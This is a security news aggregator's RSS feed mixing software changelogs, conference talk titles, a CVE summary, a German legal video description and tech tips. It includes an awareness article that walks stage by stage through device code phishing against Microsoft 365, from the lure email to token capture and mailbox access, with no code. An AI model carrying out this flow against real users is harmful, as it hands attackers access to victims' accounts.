https://tsecurity.de/de/3679313/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/ Sun, 19 Jul 2026 12:18:47 +0200 🎥 IT Security Video tsecurity.de <![CDATA[SDK v0.0.65]]> https://tsecurity.de/de/3678873/downloads/sdk-v0065/ https://tsecurity.de/de/3678873/downloads/sdk-v0065/ Sun, 19 Jul 2026 06:46:38 +0200 💾 Downloads tsecurity.de
  • Claude Code and Codex provider SDKs are now optional peer dependencies loaded on demand, dramatically cutting install size
  • Added Kimi K3 to the bundled ClinePass model fallback
  • Runs now retry once after refreshing expired OAuth credentials
  • Team runs: the spawn tool is no longer exposed to teammate agents
  • Team runs: errored teammate runs now report as failed instead of completed
  • Improved shell-command parsing to fix a Windows shell mismatch
  • New @cline/ui agent chat components with Storybook and npm packaging
  • Updated the bundled model catalog

    • Full Changelog: sdk/sdk/v0.0.64...sdk/sdk/v0.0.65

    ]]>         <![CDATA[Understanding DTF Powder: Benefits And Applications]]> https://tsecurity.de/de/3678675/it-security-nachrichten/understanding-dtf-powder-benefits-and-applications/ https://tsecurity.de/de/3678675/it-security-nachrichten/understanding-dtf-powder-benefits-and-applications/ Sun, 19 Jul 2026 02:38:05 +0200 📰 IT Security Nachrichten tsecurity.de In this post, I will talk about understanding DTF powder and show you its benefits and applications. One of the most cutting-edge technologies in the custom printing industry is Direct-to-Film (DTF) printing. Whether you’re a business looking to produce eye-catching, long-lasting designs on your products or an individual seeking a distinctive and personalized garment, DTF […]

    The post Understanding DTF Powder: Benefits And Applications appeared first on SecureBlitz Cybersecurity.

    ]]>         <![CDATA[How to complete Half-Life 2 in 1 hour (emf2026)]]> https://tsecurity.de/de/3678671/it-security-video/how-to-complete-half-life-2-in-1-hour-emf2026/ https://tsecurity.de/de/3678671/it-security-video/how-to-complete-half-life-2-in-1-hour-emf2026/ Sun, 19 Jul 2026 02:33:10 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Classifying Tactile Paving Crimes Using D&D Alignment (emf2026)]]> https://tsecurity.de/de/3678620/it-security-video/classifying-tactile-paving-crimes-using-dd-alignment-emf2026/ https://tsecurity.de/de/3678620/it-security-video/classifying-tactile-paving-crimes-using-dd-alignment-emf2026/ Sun, 19 Jul 2026 01:47:57 +0200 🎥 IT Security Video tsecurity.de <![CDATA[CVE-2026-51541 | OpENer 2.3.0 CIP Message Parsing path_size out-of-bounds]]> https://tsecurity.de/de/3678444/sicherheitsluecken/cve-2026-51541-opener-230-cip-message-parsing-pathsize-out-of-bounds/ https://tsecurity.de/de/3678444/sicherheitsluecken/cve-2026-51541-opener-230-cip-message-parsing-pathsize-out-of-bounds/ Sat, 18 Jul 2026 21:24:08 +0200 🕵️ Sicherheitslücken tsecurity.de OpENer 2.3.0 and classified as problematic. The affected element is an unknown function of the component CIP Message Parsing. The manipulation of the argument path_size results in out-of-bounds read. This vulnerability is identified as CVE-2026-51541. The attack can be executed remotely. There is not any exploit available.]]> <![CDATA[Why is the hacker scene so damn queer? (emf2026)]]> https://tsecurity.de/de/3678294/it-security-video/why-is-the-hacker-scene-so-damn-queer-emf2026/ https://tsecurity.de/de/3678294/it-security-video/why-is-the-hacker-scene-so-damn-queer-emf2026/ Sat, 18 Jul 2026 18:48:42 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Two Hobbyists, a Hedgehog Rescue, and an Exciting Hedgehog Tracking Project (Project HEDGE) (emf2026)]]> https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/ https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/ Sat, 18 Jul 2026 18:34:31 +0200 🎥 IT Security Video tsecurity.de <![CDATA[RÜCKTRITT wegen Baby! Jens Spahns Leihmutter-Dilemma]]> https://tsecurity.de/de/3678221/videos/ruecktritt-wegen-baby-jens-spahns-leihmutter-dilemma/ https://tsecurity.de/de/3678221/videos/ruecktritt-wegen-baby-jens-spahns-leihmutter-dilemma/ Sat, 18 Jul 2026 18:04:50 +0200 🎥 Videos tsecurity.de Author: WBS LEGAL - Bewertung: 164x - Views:2127

    Dein BAföG-Antrag wurde abgelehnt, falsch berechnet oder nicht bearbeitet? Wir helfen dir. ➔ https://wbs.law/bafoeg

    Einer deiner Social-Media-Accounts, PayPal- oder ähnliches wurde gesperrt? ➔ https://wbs.law/account-gesperrt

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    Ein Familienfoto, ein Sturm der EmpÜrung und nur drei Tage später der Rßcktritt: Jens Spahn gibt den Vorsitz der Unionsfraktion ab, nachdem er und sein Ehemann mithilfe einer Leihmutter in den USA Eltern geworden sind. Hat Spahn deutsches Recht umgangen oder ist sein Vorgehen legal? Wir rekonstruieren die Eskalation, prßfen seine frßheren Aussagen und erklären, wen das deutsche Verbot tatsächlich trifft.

    Tagesschau – Rücktritt und Schreiben im Wortlaut: https://www.tagesschau.de/inland/innenpolitik/jens-spahn-ruecktritt-100.html
    ZDFheute – War Spahns Vorgehen legal?: https://www.zdfheute.de/panorama/jens-spahn-leihmutterschaft-legal-100.html
    GQ – Spahns Gastbeitrag von 2015: https://www.gq-magazin.de/leben-als-mann/features/pro-contra-leihmutterschaft-respektiert-meine-zurueckhaltung
    Deutscher Bundestag – Antwort der Bundesregierung 2020: https://www.bundestag.de/webarchiv/presse/hib/2020_04/693042-693042
    CDU – Anträge des 38. Parteitags, Antrag O06 auf S. 383: https://www.cdu.de/app/uploads/2026/02/202602_Sammlung-der-Antraege_38-Parteitag.pdf
    BGH – Beschluss XII ZB 463/13: https://juris.bundesgerichtshof.de/cgi-bin/bgh_notp/document.py?Art=en&Datum=2014-12&Gericht=bgh&Seite=4&anz=229&nr=34692&pos=137
    Auswärtiges Amt – FAQ zur Leihmutterschaft: https://www.auswaertiges-amt.de/de/service/fragenkatalog-node/06-leihmutterschaft-606160
    BMG – Bericht der Kommission zur reproduktiven Selbstbestimmung: https://www.bundesgesundheitsministerium.de/presse/pressemitteilungen/kommissionsbericht-reproduktive-selbstbestimmung-pm-15-04-24
    Ronzheimer-Podcast – Interview mit Jens Spahn: https://www.youtube.com/watch?v=WRIMLz5bh3g
    Tagesschau/NDR – Rücktrittsforderung von Daniel Peters: https://www.tagesschau.de/inland/regional/mecklenburgvorpommern/kritik-an-leihmutterschaft-cdu-in-mv-fordert-spahns-ruecktritt%2Cspahn-746.html
    Deutschlandfunk – Interview mit Wolfgang Bosbach: https://www.deutschlandfunk.de/spahns-leihmutterschaft-interview-mit-wolfgang-bosbach-cdu-100.html
    Reddit r/de – Debatte vor dem Rücktritt: https://www.reddit.com/r/de/comments/1uyvkdj/umstrittene_leihmutterschaft_erster/
    Reddit r/de – Reaktionen auf den Rücktritt: https://www.reddit.com/r/de/comments/1uztkrb/jens_spahn_tritt_als_unionsfraktionschef_zur%C3%BCck/
    Tagesschau/NDR – Internationales Leihmuttergeschäft: https://www.tagesschau.de/investigativ/ndr/leihmuetter-geschaeft-international-100.html
    § 1 ESchG: https://www.gesetze-im-internet.de/eschg/__1.html
    § 13b AdVermiG: https://www.gesetze-im-internet.de/advermig_1976/__13b.html
    § 13c AdVermiG: https://www.gesetze-im-internet.de/advermig_1976/__13c.html
    § 14b AdVermiG: https://www.gesetze-im-internet.de/advermig_1976/__14b.html
    § 1591 BGB: https://www.gesetze-im-internet.de/bgb/__1591.html
    § 1592 BGB: https://www.gesetze-im-internet.de/bgb/__1592.html
    § 108 FamFG: https://www.gesetze-im-internet.de/famfg/__108.html
    § 109 FamFG: https://www.gesetze-im-internet.de/famfg/__109.html


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    WBS.LEGAL sucht dich! Du bist auf der Suche nach einem attraktiven, spannenden und anspruchsvollen Job? Dann bewirb dich bei uns und komm in unser Team. Bei WBS.LEGAL arbeitest du im Herzen der Medienhauptstadt Köln und bist im Berufsleben immer am Puls der Zeit – garantiert. Hier unsere offenen Stellenangebote: https://www.wbs.legal/karriere/#jobs Was erwartet dich bei uns? Hier bekommst du weitere Infos: https://www.wbs.legal/karriere/.

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    Rechtsanwalt Prof. Christian Solmecke Prof. Christian Solmecke hat sich als Rechtsanwalt und Partner der KÜlner Medienrechtskanzlei WBS.LEGAL auf die Beratung der Internet-, IT- und Medienbranche spezialisiert. So hat er in den vergangenen Jahren den Bereich Internetrecht/E-Commerce der Kanzlei stetig ausgebaut und betreut zahlreiche Medienschaffende, Web-2.0-Plattformen und App- Entwickler. Neben seiner Tätigkeit als Rechtsanwalt ist Prof. Christian Solmecke vielfacher Buchautor und als Grßnder der cloudbasierten Kanzleisoftware Legalvisio.de auch erfolgreicher LegalTech-Unternehmer.

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    ]]>         <![CDATA[Loop Engineering with Adaptive PDF Parsing: Start Cheap, Pay for a Heavier Parser Only When the Page Needs It]]> https://tsecurity.de/de/3678167/ai-nachrichten/loop-engineering-with-adaptive-pdf-parsing-start-cheap-pay-for-a-heavier-parser-only-when-the-page-needs-it/ https://tsecurity.de/de/3678167/ai-nachrichten/loop-engineering-with-adaptive-pdf-parsing-start-cheap-pay-for-a-heavier-parser-only-when-the-page-needs-it/ Sat, 18 Jul 2026 17:03:09 +0200 🔧 AI Nachrichten tsecurity.de Enterprise Document Intelligence [Vol.1 #10A] - The escalation cascade and the free, deterministic checks that flag a failed parse before you pay for a deeper one

    The post Loop Engineering with Adaptive PDF Parsing: Start Cheap, Pay for a Heavier Parser Only When the Page Needs It appeared first on Towards Data Science.

    ]]>         <![CDATA[A 3 million dollar question: how fast does a muon wobble? (emf2026)]]> https://tsecurity.de/de/3678158/it-security-video/a-3-million-dollar-question-how-fast-does-a-muon-wobble-emf2026/ https://tsecurity.de/de/3678158/it-security-video/a-3-million-dollar-question-how-fast-does-a-muon-wobble-emf2026/ Sat, 18 Jul 2026 16:47:52 +0200 🎥 IT Security Video tsecurity.de <![CDATA['A dangerous proposition': How AI is warping the social fabric and the ways we collectively imagine the future]]> https://tsecurity.de/de/3678026/ai-nachrichten/a-dangerous-proposition-how-ai-is-warping-the-social-fabric-and-the-ways-we-collectively-imagine-the-future/ https://tsecurity.de/de/3678026/ai-nachrichten/a-dangerous-proposition-how-ai-is-warping-the-social-fabric-and-the-ways-we-collectively-imagine-the-future/ Sat, 18 Jul 2026 15:03:27 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[The guidebook to successful alien contact - lessons from fostering rescue dogs (emf2026)]]> https://tsecurity.de/de/3677986/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/ https://tsecurity.de/de/3677986/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/ Sat, 18 Jul 2026 14:33:10 +0200 🎥 IT Security Video tsecurity.de <![CDATA[The guidebook to successful alien contact - lessons from fostering rescue dogs (emf2026)]]> https://tsecurity.de/de/3677977/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/ https://tsecurity.de/de/3677977/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/ Sat, 18 Jul 2026 14:17:56 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…]]> https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/ https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/ Sat, 18 Jul 2026 11:39:11 +0200 🕵️ Hacking tsecurity.de Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your Password

    The most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why traditional MFA awareness alone is no longer enough.

    Have You Ever Come Across a Website Like This Below Screenshot? No fake Microsoft login pages. No stealing of passwords. No cloned authentication forms. No obvious browser warnings. Yes that’s device code phishing

    At first glance, this page looks completely legitimate.

    It carries Microsoft’s branding, displays a verification code, and instructs users to continue their sign-in using the official Microsoft Device Login page. Unlike traditional phishing websites, there are no fake Microsoft login forms, no requests for your password, and no obvious signs that something is wrong.

    So, it must be safe… right?

    Not necessarily.

    Device Code Phishing has become one of the most effective phishing techniques because it abuses Microsoft’s legitimate authentication workflow instead of attempting to steal usernames and passwords. Since users authenticate directly with Microsoft, many of the traditional warning signs associated with phishing are absent, making these attacks significantly more convincing.

    In this article, the ThreatWatch360 team explains how Device Code Phishing works, why it is dangerous, and how attackers leverage this technique to gain unauthorized access to Microsoft 365 accounts without ever asking victims for their credentials.

    What is Device Code Authentication?

    Before understanding Device Code Phishing, it’s important to understand Device Code Authentication.

    Microsoft introduced the Device Code Flow to allow devices with limited input capabilities, such as smart TVs, conference room devices, IoT devices, and command-line applications, to authenticate users.

    Instead of entering credentials directly on the device, Microsoft generates a short verification code.

    The user then visits Microsoft’s official Device Login page, enters the code, signs in with their Microsoft account, and authorizes the request.

    The authenticated session is then linked back to the requesting application.

    This workflow is completely legitimate and is widely used by Microsoft-supported applications.

    Unfortunately, threat actors discovered they could abuse this authentication flow for phishing.

    How Device Code Phishing Works

    Unlike traditional phishing attacks, Device Code Phishing does not steal passwords.

    Instead, it tricks victims into authorizing an attacker-controlled application using Microsoft’s own authentication infrastructure.

    The result is that the attacker receives a valid Microsoft access token after the victim successfully authenticates.

    Stage 1 — The Phishing Email

    Initial Phishing Email

    The attack usually begins with a convincing phishing email.

    In our demonstration, the victim receives an email claiming that Microsoft detected unusual sign-in activity and encourages them to secure their account immediately.

    The email closely resembles legitimate Microsoft security notifications, making it difficult for many users to distinguish between genuine and malicious messages.

    Instead of directing users to a fake Microsoft login page, the email redirects them to an attacker-controlled website.

    This subtle difference is what makes Device Code Phishing particularly dangerous.

    Stage 2 — The Fake Verification Portal

    Device Code Phishing Page

    After clicking the email link, the victim is presented with what appears to be a Microsoft verification portal.

    The page displays:

    • A Microsoft verification code
    • Instructions explaining how to complete authentication
    • A button that automatically opens Microsoft’s legitimate Device Login page

    Everything appears authentic.

    Unlike credential phishing pages, this website never asks the user for their Microsoft username or password.

    Instead, it simply instructs the user to authenticate through Microsoft itself.

    This dramatically increases trust.

    Stage 3 — Redirecting to Microsoft’s Official Login Page

    Official Microsoft Device Login

    Clicking the verification button redirects the victim to Microsoft’s official Device Login page.

    Notice the URL.

    The browser clearly displays Microsoft’s legitimate domain: login.microsoftonline.com

    This is not a fake login page.

    This is Microsoft’s real authentication portal.

    Since users are interacting directly with Microsoft, many security-conscious individuals believe the request is legitimate.

    Stage 4 — Entering the Device Code

    Microsoft Device Authentication

    The victim enters the code displayed on the phishing website into Microsoft’s official authentication page.

    At this point, everything still appears normal.

    The authentication process is entirely handled by Microsoft.

    No passwords have been stolen.

    No fake login page has been displayed.

    Yet the attacker is already one step closer to gaining access.

    Stage 5 — Microsoft Requests Account Authorization

    Account Selection

    Once the code is accepted, Microsoft asks the victim to select the account they wish to authorize.

    Again, this occurs entirely on Microsoft’s legitimate infrastructure.

    Nothing appears suspicious.

    Most users assume they are completing a routine Microsoft verification process.

    Stage 6 — Granting Access

    Authorization Prompt

    Microsoft now asks the user to confirm the authentication request.

    The victim clicks Continue, believing they are protecting or verifying their Microsoft account.

    Instead, they are unknowingly authorizing an attacker-controlled application.

    Stage 7 — Authentication Complete

    Successful Authorization

    Microsoft confirms that authentication has completed successfully.

    From the victim’s perspective, everything appears perfectly normal.

    There are no error messages.

    No warnings.

    No indication that their Microsoft session has now been shared with someone else.

    Stage 8 — The Attacker Receives the Access Token

    Attacker Token Captured dashboard

    Behind the scenes, the attacker’s phishing infrastructure immediately receives the Microsoft access token generated during the authentication process.

    Unlike traditional phishing attacks, the attacker never needed the victim’s password.

    Instead, they now possess a valid Microsoft authentication token issued directly by Microsoft.

    Stage 9 — Accessing Microsoft Resources

    Searching Microsoft Graph Data

    Using the captured token, the attacker can begin interacting with Microsoft Graph APIs according to the permissions granted during authentication.

    Depending on the permissions available, this may allow access to resources such as:

    • Outlook email
    • OneDrive files
    • SharePoint data
    • Microsoft Teams information
    • Other Microsoft 365 resources

    In our demonstration, the captured token is used to search mailbox content, illustrating how quickly authenticated access can be abused after the victim completes the authorization process.

    Why Device Code Phishing Is So Effective

    Traditional phishing relies on fake login pages.

    Device Code Phishing is different.

    The victim authenticates directly with Microsoft.

    Every important step occurs on Microsoft’s legitimate domain.

    This removes many of the indicators users have been trained to recognize.

    There are:

    • No fake Microsoft login pages.
    • No stealing of passwords.
    • No cloned authentication forms.
    • No obvious browser warnings.

    Instead, attackers exploit the trust users place in Microsoft’s legitimate authentication process.

    Why This Matters

    Modern phishing campaigns are evolving beyond simple credential theft. By abusing legitimate authentication workflows, attackers can obtain valid access tokens without ever knowing a user’s password. This makes Device Code Phishing particularly attractive because it blends legitimate authentication with social engineering. Organizations relying solely on user awareness around fake login pages may find these attacks significantly more difficult to detect.

    How to Protect Yourself

    Although Device Code Authentication is a legitimate Microsoft feature, there are several ways users can protect themselves from Device Code Phishing attacks.

    Never authenticate unless you initiated the request.

    If you receive an unexpected email asking you to verify your Microsoft account using a device code, stop and verify the request before proceeding.

    Check why you are being asked to authenticate.

    Ask yourself:

    • Did I start this login?
    • Am I trying to sign in on another device?
    • Was I expecting this authentication request?

    If the answer is no, do not continue.

    Be cautious of urgent security emails.

    Threat actors frequently use messages about unusual sign-in activity, account suspension, or urgent verification to pressure victims into acting quickly.

    Review recently authorized applications.

    Regularly review the applications connected to your Microsoft account and remove any unfamiliar or unnecessary authorizations.

    Revoke active sessions if you suspect compromise.

    If you believe you accidentally completed a Device Code Phishing request:

    • Immediately sign out of all active Microsoft sessions.
    • Revoke recently granted application permissions.
    • Change your Microsoft account password.
    • Inform your organization’s IT or Security team.
    • Review your recent sign-in activity for any suspicious access.

    Acting quickly can significantly reduce the impact of token-based attacks.

    Conclusion

    Device Code Phishing demonstrates that modern phishing attacks no longer need to steal passwords to be successful.

    By abusing Microsoft’s legitimate Device Code authentication workflow, attackers can trick users into authorizing malicious applications while every authentication step takes place on Microsoft’s official infrastructure.

    This makes the attack highly convincing, difficult for users to recognize, and increasingly relevant in modern phishing campaigns.

    Understanding how this technique works is the first step toward recognizing suspicious authentication requests and preventing unauthorized access to Microsoft 365 environments.

    As attackers continue to shift toward token-based authentication abuse, user awareness remains one of the most effective defenses against these evolving phishing techniques.

    Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without… was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[v17.0.4]]> https://tsecurity.de/de/3677472/tools/v1704/ https://tsecurity.de/de/3677472/tools/v1704/ Sat, 18 Jul 2026 07:22:41 +0200 💾 Tools tsecurity.de @oh-my-pi/pi-ai

    Fixed

    • Fixed Kimi Code usage reports dropping the 5h window reset time (omp usage showed no "resets in …" for the 5h limit): the API returns resetTime on the limit detail, not on window, so the parsed row-level reset is now carried onto the window when the window itself has none.
    • Made Kimi device-id persistence best-effort: a missing or unwritable ~/.omp/agent directory no longer throws during Kimi header construction, which silently nulled every kimi-code usage probe on fresh installs.
    • Coerced boolean tool-schema subschemas to MFJS object forms for native Moonshot/Kimi endpoints, preventing the task tool's outputSchema field from causing HTTP 400 responses (#5952).

    @oh-my-pi/pi-catalog

    Changed

    • Kimi-family models now use MFJS tool schema on all hosts, including proxies like OpenRouter that forward schemas to Moonshot

    @oh-my-pi/pi-coding-agent

    Fixed

    • Fixed bundled Linux ffmpeg recording by selecting its available ALSA input when PulseAudio support is absent, and surfaced recorder stderr when capture fails (#5907).
    • Session load now skips the recursive async blob-ref resolver for entries with no blob:sha256: references. A cheap synchronous precheck gates the walk per entry (preserving the previous per-entry initiation order under synchronous store mutation), so text-heavy histories no longer pay the Promise.all tree descent for every non-session entry (#5922).
    • Fixed task tool schemas emitting boolean subschemas that llama.cpp grammar generation cannot parse (#5957).
    • Fixed the transcript keeping finalized assistant blocks in the live compose walk after their rows entered native terminal scrollback, making each stream tick's TranscriptContainer.render depth-linear in session length. Fully committed finalized blocks are now compacted out of the local frame regardless of post-finalize version tracking; a later mutation no longer recommits on ordinary frames (no duplication) and rehydrates on the next destructive full replay (no loss). Compose cost for a live tail tick is now flat as depth grows (bench/transcript-compose.bench.ts: ratio(N5000/N500) 2.30 → 0.90) (#5930).
    • Fixed /quit and /exit hanging during interactive shutdown by making the mnemopi dispose path retain the current session and flush in-flight extractions without sleeping the bank; the /memory enqueue path and end-of-session backend enqueue still perform full cross-session consolidation. (#3641)

    @oh-my-pi/hashline

    Fixed

    • Rejected DEL N: headers with a trailing colon instead of silently tolerating the colon, so delete-with-body mistakes surface the corrective "has no colon" guidance.

    @oh-my-pi/pi-mnemopi

    Fixed

    • Fixed a corrupt cached embedding model (truncated model_optimized.onnx, Protobuf parsing failed on load) permanently disabling local embeddings: init now quarantines the broken cache file (rename to *.corrupt-<ts>, only when the path resolves inside the fastembed cache directory) and retries once so the model re-downloads.

    What's Changed

    • fix(mnemopi): self-heal a corrupt cached embedding model on init by @DarkPhilosophy in #5923
    • perf(session): gate blob-ref resolution behind synchronous precheck by @roboomp in #5925
    • fix(task): avoid boolean output schema subschemas by @roboomp in #5958
    • fix(stt): select a supported Linux ffmpeg input by @roboomp in #5909
    • fix(tui): compact committed finalized transcript history by @roboomp in #5943
    • fix(ai): normalize boolean tool schemas for Moonshot by @roboomp in #5955
    • fix(kimi): surface the 5h usage window reset time by @iacore in #5953
    • fix(mnemopi): lighter dispose consolidation so /quit returns quickly by @iacore in #4843

    New Contributors

    Full Changelog: v17.0.3...v17.0.4

    ]]>         <![CDATA[v3.6.0-rc.1]]> https://tsecurity.de/de/3677302/downloads/v360-rc1/ https://tsecurity.de/de/3677302/downloads/v360-rc1/ Sat, 18 Jul 2026 03:16:24 +0200 💾 Downloads tsecurity.de Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.

    3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.

    For more details about Vapor Mode, see the About Vapor Mode section later in this release note.

    Bug Fixes

    • hydration: avoid resolving inherited fallback in forwarded slots (4c215b5)
    • hydration: remove adopted SSR DOM for unresolved async setup (3859af4)
    • runtime-vapor: avoid patching invalid VNode slot content (25f5a8a)
    • runtime-vapor: clean up detached slot branches (b41009d)
    • runtime-vapor: defer slot content anchors during hydration (9b9e4bd)
    • runtime-vapor: preserve outer pending slot anchors (4af4bf9)
    • runtime-vapor: preserve slot content anchors during mismatch recovery (26f90b5)
    • runtime-vapor: preserve v-show transition on vdom child (#15074) (fe882c9), closes #15073
    • runtime-vapor: preserve vapor slot owner during interop slot dry run (#15031) (340630e)
    • runtime-vapor: preserve VNode anchors in dynamic component hydration (898e2ca)
    • runtime-vapor: remove unsafe slot dry runs from vdom interop (#15089) (3d42cdf), closes #14793
    • runtime-vapor: reuse hydration anchor candidates (06778e7)
    • vapor: handle v-if and v-show on transition roots (#15069) (8f62f2e), closes #15068

    About Vapor Mode

    Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.

    It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.

    Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in third-party benchmarks.

    General Stability Notes

    Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:

    • Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.
    • Building small new apps entirely in Vapor Mode.

    Opting In to Vapor Mode

    Vapor Mode supports template-only SFCs and SFCs using <script setup>; the Options API is not supported. The following forms are supported:

    <script setup vapor>
// ...
</script>

    <script vapor> is shorthand for <script setup vapor>:

    <script vapor>
// ...
</script>

    The vapor marker can also be placed on the template, enabling Vapor compilation for the entire SFC:

    <template vapor>
  <!-- ... -->
</template>

    Creating an App and Using VDOM Interop

    Pure Vapor Applications

    Applications composed entirely of Vapor components can use createVaporApp():

    import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')

    Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.

    Enabling VDOM Interop

    To use Vapor components in a VDOM app instance created via createApp(), the vaporInteropPlugin must be installed:

    import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')

    A Vapor app instance can also install vaporInteropPlugin to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.

    Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.

    When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.

    In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.

    Feature Compatibility

    By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:

    • Options API
    • app.config.globalProperties
    • getCurrentInstance() returns null in Vapor components
    • @vue:xxx per-element lifecycle events
    • v-memo
    • Component template refs do not expose properties such as $el, $props, $attrs, $slots, and $refs

    Important Usage Considerations

    Event Delegation and stopPropagation()

    Vapor delegates eligible events to document. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.

    If any ancestor calls stopPropagation(), the event never reaches document, and the delegated handler will not run.

    The following forms bypass delegation and attach the listener directly to the element:

    <button @[event]="onClick" />
<button v-bind="{ onClick }" />
<button v-on="{ click: onClick }" />

    slots.default() Is Not a Safe Dry Run

    In Vapor, slots.default() is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.

    Do not call a slot to inspect its output before deciding what else to render:

    <script setup vapor>
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
</script>

<template>
  <div v-if="showFallback">Fallback</div>
</template>

    Instead, leave slot rendering to the template:

    <template>
  <slot />
</template>

    Custom Directives Use a Different Interface

    Custom directives in Vapor also have a different interface:

    type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () => any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) => (() => void) | void

    value is a reactive getter that returns the binding value. Reactive effects can be set up using watchEffect() and are automatically released when the component unmounts. A directive may also return a cleanup function:

    const MyDirective = (el, source) => {
  watchEffect(() => {
    el.textContent = source()
  })
  return () => console.log('cleanup')
}

    Behavior Consistency

    Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.

    For stable releases, please refer to CHANGELOG.md for details.
    For pre-releases, please refer to CHANGELOG.md of the minor branch.

    ]]>         <![CDATA[How to prolong an iPhone battery's life]]> https://tsecurity.de/de/3677153/betriebssysteme/how-to-prolong-an-iphone-batterys-life/ https://tsecurity.de/de/3677153/betriebssysteme/how-to-prolong-an-iphone-batterys-life/ Sat, 18 Jul 2026 00:24:41 +0200 🖥️ Betriebssysteme tsecurity.de If you want to know how to prolong iPhone battery life, you’re not alone. An iPhone’s battery will die eventually. Over time, it will retain less and less charge until it only lasts a few hours. There isn’t much you can do about this since that’s how batteries work, but understanding the right settings can […]

    The post How to prolong an iPhone battery's life appeared first on AddictiveTips.

    ]]>         <![CDATA[Google Workspace Weekly Recap - July 17, 2026]]> https://tsecurity.de/de/3677046/web-tipps/google-workspace-weekly-recap-july-17-2026/ https://tsecurity.de/de/3677046/web-tipps/google-workspace-weekly-recap-july-17-2026/ Fri, 17 Jul 2026 23:11:52 +0200 Web Tipps tsecurity.de Google Credential Provider for Windows (GCPW) now supports FIDO2-compliant physical security keys as a second factor for authentication

    Google Credential Provider for Windows (GCPW) has been updated to support FIDO2-compliant physical security keys as a second factor for authentication. This update helps organizations improve their security posture by enabling administrators to enforce 2-Step Verification (2SV) using hardware security keys at the Windows login screen. | Learn more.

    Improvement to in-room problem reporting for Google Meet hardware

    Maintaining an enterprise-grade video conferencing environment requires visibility into the health of its devices. We're introducing new ways to see Google Meet hardware user-reported feedback directly in the Admin console. | Learn more.

    New refinement capabilities allow custom editing with Help me write in Gmail

    Users can now edit and revise their email drafts in Gmail via the prompt bar, using custom refine instructions in Help me write. Previously the refines were limited to preset options like Polish, Formalize, and Shorten. | Learn more.

    Now available: group conversations with external collaborators in Google Chat

    For many teams, it’s essential to be able to work in real-time with partners from outside your organization. We’re improving external collaboration in Google Chat by making it possible to create group conversations that include external users. | Learn more.

    NotebookLM is now Gemini Notebook

    We’re renaming NotebookLM to Gemini Notebook. While it remains a standalone product focused on being your premier research tool, the new name reflects how it will evolve to do more across the Google ecosystem. | Learn more.

    Easily control the emotions and pacing of AI avatars and AI voiceovers in Google Vids

    Users can now easily steer voiceover and avatar speaking in Google Vids by typing content within brackets like “[excitedly]”. | Learn more.

    Expanded language support for Gemini in Google Docs

    We are now expanding support for these features to 11 more languages, including Mandarin, Dutch, Malay, Hebrew, Polish, Turkish, Czech, Indonesian, Swedish, Danish, and Norwegian. These new additions join our previously supported languages: English, Spanish, Portuguese, Japanese, French, Korean, German, and Italian. | Learn more.

    Generate higher quality AI video clips and edit any video with Gemini Omni in Vids

    Users now have access to Gemini Omni directly within Google Vids. Omni provides higher quality video generation with significant improvements over previous models. Additionally, Omni’s world understanding unlocks simple video edits so you can ask Omni to tweak the video you have to get the video you need. | Learn more.

    Cast yourself in AI video clips using your personal avatar with Gemini Omni in Vids

